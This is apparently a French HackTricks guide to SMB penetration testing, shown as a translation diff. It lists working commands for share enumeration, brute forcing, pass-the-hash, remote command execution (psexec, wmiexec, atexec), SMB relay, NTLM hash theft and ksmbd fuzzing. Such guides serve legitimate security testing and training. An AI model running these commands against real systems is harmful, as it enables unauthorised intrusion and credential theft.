Le **Server Message Block (SMB)**, fonctionnant selon un modèle **client-serveur**, est conçu pour réguler **l'accès aux fichiers**, aux répertoires et à d'autres ressources réseau comme les imprimantes et les routeurs. Principalement utilisé au sein de la famille de systèmes d'exploitation **Windows**, SMB assure une compatibilité descendante, permettant aux appareils utilisant des versions plus récentes du système d'exploitation de Microsoft d'interagir sans heurts avec ceux exécutant des versions plus anciennes. De plus, le projet **Samba** propose une solution logicielle libre, permettant l'implémentation de SMB sur les systèmes **Linux** et Unix, facilitant ainsi la communication multiplateforme via SMB.
|
||||
|
||||
Shares, représentant des **parties arbitraires du système de fichiers local**, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible au client en partie **indépendante** de la structure réelle du serveur. Les **Listes de contrôle d'accès (ACLs)**, qui définissent les **droits d'accès**, permettent un **contrôle fin** des permissions des utilisateurs, incluant des attributs comme **`execute`**, **`read`** et **`full access`**. Ces permissions peuvent être assignées à des utilisateurs ou groupes individuels, en fonction des shares, et sont distinctes des permissions locales définies sur le serveur.
|
||||
Les Shares, représentant des **parties arbitraires du système de fichiers local**, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible pour un client en partie **indépendante** de la structure réelle du serveur. Les **Access Control Lists (ACLs)**, qui définissent les **droits d'accès**, permettent un **contrôle granulaire** des permissions des utilisateurs, incluant des attributs tels que **`execute`**, **`read`** et **`full access`**. Ces permissions peuvent être attribuées à des utilisateurs individuels ou à des groupes, en fonction des Shares, et sont distinctes des permissions locales définies sur le serveur.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
L'accès au share IPC$ peut être obtenu via une null session anonyme, permettant d'interagir avec des services exposés via des named pipes. L'utilitaire `enum4linux` est utile à cet effet. Bien utilisé, il permet d'obtenir :
|
||||
L'accès au share IPC$ peut être obtenu via une null session anonyme, permettant d'interagir avec des services exposés via des named pipes. L'utilitaire `enum4linux` est utile pour cela. Utilisé correctement, il permet l'acquisition de :
|
||||
|
||||
- Des informations sur le système d'exploitation
|
||||
- Des détails sur le domaine parent
|
||||
- Une compilation des utilisateurs et groupes locaux
|
||||
- Des informations sur les shares SMB disponibles
|
||||
- La politique de sécurité du système effective
|
||||
- Informations sur le système d'exploitation
|
||||
- Détails sur le domaine parent
|
||||
- Une liste des utilisateurs et groupes locaux
|
||||
- Informations sur les SMB shares disponibles
|
||||
- La politique de sécurité effective du système
|
||||
|
||||
Cette fonctionnalité est essentielle pour les administrateurs réseau et les professionnels de la sécurité afin d'évaluer la posture de sécurité des services SMB (Server Message Block) sur un réseau. `enum4linux` fournit une vue complète de l'environnement SMB de la cible, ce qui est indispensable pour identifier les vulnérabilités potentielles et s'assurer que les services SMB sont correctement sécurisés.
|
||||
Cette fonctionnalité est cruciale pour les administrateurs réseau et les professionnels de la sécurité afin d'évaluer la posture de sécurité des services SMB (Server Message Block) sur un réseau. `enum4linux` fournit une vue d'ensemble complète de l'environnement SMB du système cible, ce qui est essentiel pour identifier les vulnérabilités potentielles et s'assurer que les services SMB sont correctement sécurisés.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
La commande ci‑dessus est un exemple de la façon dont `enum4linux` peut être utilisé pour effectuer une énumération complète contre une cible spécifiée par `target_ip`.
|
||||
La commande ci-dessus est un exemple de la façon dont `enum4linux` pourrait être utilisé pour effectuer une énumération complète contre une cible spécifiée par `target_ip`.
|
||||
|
||||
## Qu'est-ce que NTLM
|
||||
|
||||
Si vous ne connaissez pas NTLM ou si vous voulez savoir comment il fonctionne et comment l'exploiter, vous trouverez très intéressante cette page sur **NTLM** où est expliqué **comment ce protocole fonctionne et comment vous pouvez en tirer parti :**
|
||||
Si vous ne savez pas ce qu'est NTLM ou si vous voulez savoir comment il fonctionne et comment l'abuser, vous trouverez très intéressante cette page sur **NTLM** où est expliqué **comment ce protocole fonctionne et comment vous pouvez en tirer parti :**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
{{#endref}}
|
||||
|
||||
## **Server Enumeration**
|
||||
## **Énumération des serveurs**
|
||||
|
||||
### **Scan** d'un réseau à la recherche d'hôtes :
|
||||
### **Scan** un réseau à la recherche d'hôtes:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### Version du serveur SMB
|
||||
|
||||
Pour rechercher d'éventuels exploits pour la version SMB, il est important de savoir quelle version est utilisée. Si cette information n'apparaît pas dans les autres outils utilisés, vous pouvez :
|
||||
Pour rechercher d'éventuels exploits liés à la version de SMB, il est important de savoir quelle version est utilisée. Si cette information n'apparaît pas dans les autres outils utilisés, vous pouvez :
|
||||
|
||||
- Utilisez le module auxiliaire **MSF** `**auxiliary/scanner/smb/smb_version**`
|
||||
- Ou ce script :
|
||||
@ -80,9 +80,9 @@ echo "" && sleep .1
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **Possibles** Identifiants
|
||||
### Identifiants **possibles**
|
||||
|
||||
| **Identifiant(s)** | **Mots de passe courants** |
|
||||
| **Username(s)** | **Common passwords** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(blank)_ | _(blank)_ |
|
||||
| guest | _(blank)_ |
|
||||
@ -96,7 +96,7 @@ searchsploit microsoft smb
|
||||
|
||||
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
|
||||
|
||||
### Informations sur l'environnement SMB
|
||||
### SMB Environment Information
|
||||
|
||||
### Obtenir des informations
|
||||
```bash
|
||||
@ -120,9 +120,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Énumérer les utilisateurs, les groupes et les utilisateurs connectés
|
||||
### Énumérer les utilisateurs, groupes & utilisateurs connectés
|
||||
|
||||
Ces informations devraient déjà avoir été collectées par enum4linux et enum4linux-ng
|
||||
Ces informations devraient déjà être collectées par enum4linux et enum4linux-ng
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
@ -150,20 +150,20 @@ use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **Énumération LSARPC et SAMR rpcclient**
|
||||
### **Enumerating LSARPC and SAMR rpcclient**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### Connexion GUI depuis linux
|
||||
### Connexion GUI depuis Linux
|
||||
|
||||
#### Dans le terminal:
|
||||
#### Dans le terminal :
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### Dans une fenêtre de gestionnaire de fichiers (nautilus, thunar, etc)
|
||||
#### Dans la fenêtre du gestionnaire de fichiers (nautilus, thunar, etc)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
@ -171,7 +171,7 @@ rpcclient-enumeration.md
|
||||
|
||||
### Lister les dossiers partagés
|
||||
|
||||
Il est toujours recommandé de vérifier si vous pouvez accéder à quelque chose ; si vous n'avez pas de credentials, essayez d'utiliser **null** **credentials/guest user**.
|
||||
Il est toujours recommandé de vérifier si vous pouvez accéder à quelque chose ; si vous n'avez pas d'identifiants, essayez d'utiliser **null** **credentials/guest user**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **Se connecter/Lister un dossier partagé**
|
||||
### **Se connecter / lister un dossier partagé**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Énumérer manuellement les partages Windows et s'y connecter**
|
||||
### **Enumérer manuellement les partages Windows et s'y connecter**
|
||||
|
||||
Il se peut que vous ne puissiez pas afficher les partages de la machine hôte et que, lorsque vous tentez de les lister, il semble qu'il n'y en ait aucun. Il peut donc être utile d'essayer de se connecter manuellement à un partage. Pour énumérer les partages manuellement, regardez les réponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME lorsque vous utilisez une session valide (e.g. null session or valid credentials). Elles peuvent indiquer si le partage existe mais que vous n'y avez pas accès, ou s'il n'existe pas du tout.
|
||||
Il se peut que vous soyez limité dans la possibilité d'afficher les partages de la machine hôte et que, lorsque vous essayez de les lister, il semble qu'il n'y ait aucun partage disponible. Il peut donc valoir la peine d'essayer brièvement de se connecter manuellement à un partage. Pour énumérer les partages manuellement, vous pouvez rechercher des réponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME lorsque vous utilisez une session valide (p.ex. null session ou identifiants valides). Celles-ci peuvent indiquer si le partage existe mais que vous n'y avez pas accès, ou si le partage n'existe pas du tout.
|
||||
|
||||
Les noms de partages courants pour des cibles Windows sont
|
||||
Common share names for windows targets are
|
||||
|
||||
- C$
|
||||
- D$
|
||||
@ -214,7 +214,7 @@ Les noms de partages courants pour des cibles Windows sont
|
||||
|
||||
(Noms de partages courants issus de _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
Vous pouvez essayer de vous y connecter en utilisant la commande suivante
|
||||
Vous pouvez tenter de vous y connecter en utilisant la commande suivante
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
@ -241,7 +241,7 @@ exemples
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Énumérer les partages depuis Windows / sans outils tiers**
|
||||
### **Énumérer les partages sous Windows / sans outils tiers**
|
||||
|
||||
PowerShell
|
||||
```bash
|
||||
@ -253,7 +253,7 @@ get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
console CMD
|
||||
Invite de commandes (CMD)
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
@ -267,7 +267,7 @@ fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (graphique), saisissez `\\<ip>\` pour voir les partages non cachés disponibles.
|
||||
explorer.exe (graphique), entrez `\\<ip>\` pour voir les partages non masqués disponibles.
|
||||
|
||||
### Monter un dossier partagé
|
||||
```bash
|
||||
@ -276,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Télécharger des fichiers**
|
||||
|
||||
Lisez les sections précédentes pour apprendre comment se connecter à l'aide de credentials/Pass-the-Hash.
|
||||
Lisez les sections précédentes pour apprendre comment vous connecter avec credentials/Pass-the-Hash.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -291,16 +291,16 @@ smbclient //<IP>/<share>
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
Commandes:
|
||||
Commandes :
|
||||
|
||||
- mask: spécifie le mask qui est utilisé pour filtrer les fichiers dans le répertoire (e.g. "" pour tous les fichiers)
|
||||
- recurse: bascule la récursion (default: off)
|
||||
- prompt: bascule l'invite pour les noms de fichiers (default: on)
|
||||
- mget: copie tous les fichiers correspondant au mask depuis la machine hôte vers la machine cliente
|
||||
- mask: spécifie le masque utilisé pour filtrer les fichiers dans le répertoire (par ex. "" pour tous les fichiers)
|
||||
- recurse: active/désactive la récursion (par défaut : désactivée)
|
||||
- prompt: désactive l'invite pour les noms de fichiers (par défaut : activée)
|
||||
- mget: copie tous les fichiers correspondant au masque depuis la machine hôte vers la machine cliente
|
||||
|
||||
(_Informations extraites de la page de manuel de smbclient_)
|
||||
|
||||
### Recherche des dossiers partagés du domaine
|
||||
### Recherche de dossiers partagés du domaine
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
@ -312,42 +312,42 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Parmi les éléments particulièrement intéressants dans les partages se trouvent les fichiers appelés **`Registry.xml`** car ils **peuvent contenir des mots de passe** pour les utilisateurs configurés avec **autologon** via Group Policy. Ou les fichiers **`web.config`** car ils contiennent des identifiants.
|
||||
Parmi les fichiers des partages, ceux appelés **`Registry.xml`** sont particulièrement intéressants car ils **peuvent contenir des mots de passe** pour des utilisateurs configurés avec **autologon** via Group Policy. Les fichiers **`web.config`** sont aussi intéressants car ils contiennent des identifiants.
|
||||
|
||||
> [!TIP]
|
||||
> Le **SYSVOL share** est **lisible** par tous les utilisateurs authentifiés du domaine. Vous pouvez y **trouver** de nombreux scripts batch, VBScript et PowerShell différents.\
|
||||
> Vous devriez **vérifier** les **scripts** qu'il contient car vous pourriez y **trouver** des informations sensibles telles que des **mots de passe**.
|
||||
> Le **SYSVOL share** est **lisible** par tous les utilisateurs authentifiés du domaine. Vous pouvez y **trouver** de nombreux scripts batch, VBScript et PowerShell **scripts**.\
|
||||
> Vous devriez **vérifier** les **scripts** qui s'y trouvent car vous pourriez **trouver** des informations sensibles telles que des **mots de passe**.
|
||||
|
||||
## Lire le registre
|
||||
|
||||
Vous pourriez être capable de **lire le registre** en utilisant des identifiants découverts. Impacket **`reg.py`** vous permet d'essayer :
|
||||
Vous pouvez être en mesure de **lire le registry** en utilisant des identifiants découverts. Impacket **`reg.py`** vous permet d'essayer :
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
## Post Exploitation
|
||||
## Post-exploitation
|
||||
|
||||
La configuration par défaut d'un serveur Samba se trouve généralement dans `/etc/samba/smb.conf` et peut contenir des configurations dangereuses :
|
||||
La **configuration par défaut de** ce serveur **Samba** se trouve généralement dans `/etc/samba/smb.conf` et peut contenir des **configurations dangereuses** :
|
||||
|
||||
| **Setting** | **Description** |
|
||||
| **Paramètre** | **Description** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Autoriser l'affichage des partages disponibles ? |
|
||||
| `read only = no` | Interdire la création et la modification de fichiers ? |
|
||||
| `writable = yes` | Autoriser les utilisateurs à créer et modifier des fichiers ? |
|
||||
| `guest ok = yes` | Autoriser la connexion au service sans mot de passe ? |
|
||||
| `enable privileges = yes` | Respecter les privilèges attribués à un SID spécifique ? |
|
||||
| `create mask = 0777` | Quelles permissions doivent être assignées aux fichiers créés ? |
|
||||
| `directory mask = 0777` | Quelles permissions doivent être assignées aux répertoires créés ? |
|
||||
| `browseable = yes` | Permet d'énumérer les partages disponibles dans le partage courant ? |
|
||||
| `read only = no` | Interdit la création et la modification de fichiers ? |
|
||||
| `writable = yes` | Permet aux utilisateurs de créer et modifier des fichiers ? |
|
||||
| `guest ok = yes` | Permet de se connecter au service sans mot de passe ? |
|
||||
| `enable privileges = yes` | Respecter les privilèges assignés à un SID spécifique ? |
|
||||
| `create mask = 0777` | Quelles permissions doivent être assignées aux fichiers nouvellement créés ? |
|
||||
| `directory mask = 0777` | Quelles permissions doivent être assignées aux répertoires nouvellement créés ? |
|
||||
| `logon script = script.sh` | Quel script doit être exécuté lors de la connexion de l'utilisateur ? |
|
||||
| `magic script = script.sh` | Quel script doit être exécuté lorsque le script est fermé ? |
|
||||
| `magic output = script.out` | Où la sortie du magic script doit être stockée ? |
|
||||
| `magic script = script.sh` | Quel script doit être exécuté lorsque le script se termine ? |
|
||||
| `magic output = script.out` | Où la sortie du magic script doit être stockée ? |
|
||||
|
||||
La commande `smbstatus` fournit des informations sur le **serveur** et sur **qui est connecté**.
|
||||
La commande `smbstatus` donne des informations sur le **serveur** et sur **qui est connecté**.
|
||||
|
||||
## Authentification avec Kerberos
|
||||
|
||||
Vous pouvez vous authentifier auprès de Kerberos en utilisant les outils smbclient et rpcclient :
|
||||
Vous pouvez **vous authentifier** auprès de **Kerberos** en utilisant les outils **smbclient** et **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
@ -356,7 +356,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec peut exécuter des commandes **en abusant** de n'importe lequel de **mmcexec, smbexec, atexec, wmiexec**, **wmiexec** étant la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre `--exec-method`:
|
||||
crackmapexec peut exécuter des commandes en utilisant n'importe lequel de **mmcexec, smbexec, atexec, wmiexec**, **wmiexec** étant la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -380,9 +380,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **upload** un fichier exécutable sur le partage ADMIN$ et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre dans les arguments le payload --**file-less technique-**-).\
|
||||
**Plus d'infos** sur [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) et [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/
|
||||
Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **upload** un fichier exécutable vers ADMIN$ share et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre dans les arguments le payload --**file-less technique-**-).\
|
||||
**Plus d'infos** sur [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)et [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
Dans **kali** il se trouve sur /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -390,19 +390,19 @@ Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
En utilisant le **paramètre**`-k`, vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM**
|
||||
En utilisant le **paramètre** `-k`, vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM**
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
Exécuter furtivement un shell de commande sans toucher au disque ni lancer un nouveau service en utilisant DCOM via **port 135.**\
|
||||
Sur **kali** il se trouve sur /usr/share/doc/python3-impacket/examples/
|
||||
Exécutez furtivement un shell de commandes sans toucher le disque ni lancer un nouveau service en utilisant DCOM via le **port 135.**\
|
||||
Dans **kali**, il se trouve dans /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
En utilisant le **paramètre**`-k` vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM**
|
||||
En utilisant **paramètre**`-k`, vous pouvez vous authentifier auprès de **kerberos** plutôt qu'avec **NTLM**.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -411,8 +411,8 @@ En utilisant le **paramètre**`-k` vous pouvez vous authentifier avec **kerberos
|
||||
```
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
Exécuter des commandes via le Planificateur de tâches (en utilisant _\pipe\atsvc_ via SMB).\
|
||||
Sur **kali** il est situé dans /usr/share/doc/python3-impacket/examples/
|
||||
Exécuter des commandes via le Task Scheduler (en utilisant _\pipe\atsvc_ via SMB).\
|
||||
Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
@ -421,13 +421,13 @@ Sur **kali** il est situé dans /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
|
||||
### Surface d'attaque ksmbd et fuzzing du protocole SMB2/SMB3 (syzkaller)
|
||||
|
||||
{{#ref}}
|
||||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
{{#endref}}
|
||||
|
||||
## **Bruteforce des identifiants des utilisateurs**
|
||||
## **Bruteforce des identifiants d'utilisateurs**
|
||||
|
||||
**Ceci n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre maximal d'essais autorisés**
|
||||
```bash
|
||||
@ -436,35 +436,35 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
Cette attaque utilise le toolkit Responder pour **capturer des sessions d'authentification SMB** sur un réseau interne, et les **relayer** vers une **machine cible**. Si la **session d'authentification** est réussie, elle vous ouvrira automatiquement un **shell système**.\
|
||||
[**Plus d'informations sur cette attaque ici.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
Cette attaque utilise le toolkit Responder pour **capture SMB authentication sessions** sur un réseau interne, puis **relays** ces sessions vers une **target machine**. Si la **session is successful**, cela ouvrira automatiquement un **system** **shell**.\
|
||||
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
La bibliothèque Windows URLMon.dll tente automatiquement de s'authentifier auprès de l'hôte lorsqu'une page essaie d'accéder à du contenu via SMB, par exemple: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Cela se produit avec les fonctions :
|
||||
This happens with the functions:
|
||||
|
||||
- URLDownloadToFile
|
||||
- URLDownloadToCache
|
||||
- URLOpenStream
|
||||
- URLOpenBlockingStream
|
||||
|
||||
Qui sont utilisées par certains navigateurs et outils (comme Skype)
|
||||
Which are used by some browsers and tools (like Skype)
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### SMBTrap avec MitMf
|
||||
### SMBTrap using MitMf
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
De la même manière que SMB Trapping, le dépôt de fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant d'intercepter le hash NetNTLMv2 avec un outil tel que Responder. Le hash peut ensuite être craqué hors ligne ou utilisé dans une [SMB relay attack](#smb-relay-attack).
|
||||
Similaire au SMB Trapping, le fait de déposer des fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant d'intercepter le hash NetNTLMv2 avec un outil tel que Responder. Le hash peut ensuite être cracké hors ligne ou utilisé dans une [SMB relay attack](#smb-relay-attack).
|
||||
|
||||
[Voir : ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## HackTricks Commandes automatiques
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
@ -1,55 +1,55 @@
|
||||
# ksmbd Surface d'attaque & Fuzzing du protocole SMB2/SMB3 (syzkaller)
|
||||
# ksmbd Surface d'attaque & SMB2/SMB3 Protocol Fuzzing (syzkaller)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Aperçu
|
||||
Cette page résume des techniques pratiques pour exercer et fuzz le serveur SMB in-kernel de Linux (ksmbd) en utilisant syzkaller. Elle se concentre sur l'expansion de la surface d'attaque du protocole via la configuration, la construction d'un harness stateful capable d'enchaîner des opérations SMB2, la génération de PDUs valides selon la grammaire, l'orientation des mutations vers des chemins de code faiblement couverts, et l'exploitation de fonctionnalités de syzkaller telles que focus_areas et ANYBLOB. Alors que la recherche originale énumère des CVEs spécifiques, nous mettons ici l'accent sur la méthodologie réutilisable et des extraits concrets que vous pouvez adapter à vos propres environnements.
|
||||
Cette page synthétise des techniques pratiques pour exercer et fuzz le serveur SMB en-kernel Linux (ksmbd) en utilisant syzkaller. Elle se concentre sur l'expansion de la surface d'attaque du protocole via la configuration, la construction d'un harnais stateful capable d'enchaîner des opérations SMB2, la génération de PDUs valides grammaticalement, le biaisage des mutations vers des chemins de code faiblement couverts, et l'exploitation des fonctionnalités de syzkaller telles que focus_areas et ANYBLOB. Alors que la recherche originale énumère des CVE spécifiques, ici nous mettons l'accent sur la méthodologie réutilisable et des extraits concrets que vous pouvez adapter à vos propres environnements.
|
||||
|
||||
Portée cible : SMB2/SMB3 sur TCP. Kerberos et RDMA sont intentionnellement hors-scope pour garder le harness simple.
|
||||
Portée cible : SMB2/SMB3 over TCP. Kerberos et RDMA sont volontairement hors-scope pour garder le harnais simple.
|
||||
|
||||
---
|
||||
|
||||
## Étendre la surface d'attaque de ksmbd via la configuration
|
||||
Par défaut, une configuration ksmbd minimale laisse de larges parties du serveur non testées. Activez les fonctionnalités suivantes pour faire passer le serveur par des parsers/handlers supplémentaires et atteindre des chemins de code plus profonds :
|
||||
Par défaut, une configuration ksmbd minimale laisse de larges parties du serveur non testées. Activez les fonctionnalités suivantes pour pousser le serveur à travers des parseurs/handlers supplémentaires et atteindre des chemins de code plus profonds :
|
||||
|
||||
- Global-level
|
||||
- Durable handles
|
||||
- Server multi-channel
|
||||
- SMB2 leases
|
||||
- Per-share-level
|
||||
- Oplocks (on by default)
|
||||
- Oplocks (activés par défaut)
|
||||
- VFS objects
|
||||
|
||||
L'activation de ces éléments augmente l'exécution dans des modules tels que :
|
||||
- smb2pdu.c (command parsing/dispatch)
|
||||
- ndr.c (NDR encode/decode)
|
||||
- oplock.c (oplock request/break)
|
||||
- smbacl.c (ACL parsing/enforcement)
|
||||
- vfs.c (VFS ops)
|
||||
- vfs_cache.c (lookup cache)
|
||||
- smb2pdu.c (parsing/dispatch des commandes)
|
||||
- ndr.c (encodage/décodage NDR)
|
||||
- oplock.c (demande/rupture d'oplock)
|
||||
- smbacl.c (parsing/renforcement des ACL)
|
||||
- vfs.c (opérations VFS)
|
||||
- vfs_cache.c (cache de lookup)
|
||||
|
||||
Notes
|
||||
- Les options exactes dépendent de l'espace utilisateur ksmbd de votre distro (ksmbd-tools). Consultez /etc/ksmbd/ksmbd.conf et les sections per-share pour activer durable handles, leases, oplocks et VFS objects.
|
||||
- Multi-channel et durable handles modifient les machines d'état et les durées de vie, souvent faisant ressortir des bugs UAF/refcount/OOB sous concurrence.
